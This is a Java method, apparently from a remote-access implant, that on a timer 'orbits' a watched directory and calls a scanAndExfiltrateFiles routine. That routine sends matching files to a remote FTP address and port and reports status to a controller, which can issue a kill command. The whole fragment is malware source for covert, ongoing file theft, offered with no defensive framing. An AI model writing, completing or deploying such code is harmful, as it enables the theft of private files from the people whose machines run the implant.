public void actionPerformed(ActionEvent ae)
  {
    try
    {
      if (ae.getSource() == this.tmrInterrupt)
      {
        if (!this.continueInterrupt)
        {
          String kill = "Orbiter Kill command received.... killing this thread softly...";
          sendToController(kill);
          try
          {
            this.tmrInterrupt.stop();
          } catch (Exception localException1) {
          }
        }
        if (!this.dismissInterrupt)
        {
          this.dismissInterrupt = true;

          this.alOrbitDirectoryListing = ExfiltrateFilesUnderDirectory.scanAndExfiltrateFiles(this.fleOrbitDirectory, this.strFileType, this.recurseSubDirectories, this.alOrbitDirectoryListing, this.alOrbitDirectoryLastMoodifiedEntries, this.implant, this.FTP_Address, this.FTP_Port, this.engageOrbiter);

          if (this.alOrbitDirectoryListing != null)
          {
            this.alOrbitDirectoryLastMoodifiedEntries.clear();

            for (int i = 0; i < this.alOrbitDirectoryListing.size(); i++)
            {
            	alOrbitDirectoryLastMoodifiedEntries.add(""+alOrbitDirectoryListing.get(i).lastModified());
            }

          }

          if (this.alOrbitDirectoryListing == null)
          {
            Driver.sop("Directory is no longer valid... I will continue to orbit incase it is re-created again or until user issues termination command\n");
          }

          this.dismissInterrupt = false;
        }

      }

    }
    catch (Exception e)
    {
      Driver.eop("AE", "Directory_Orbiter", e, e.getLocalizedMessage(), false);
    }
  }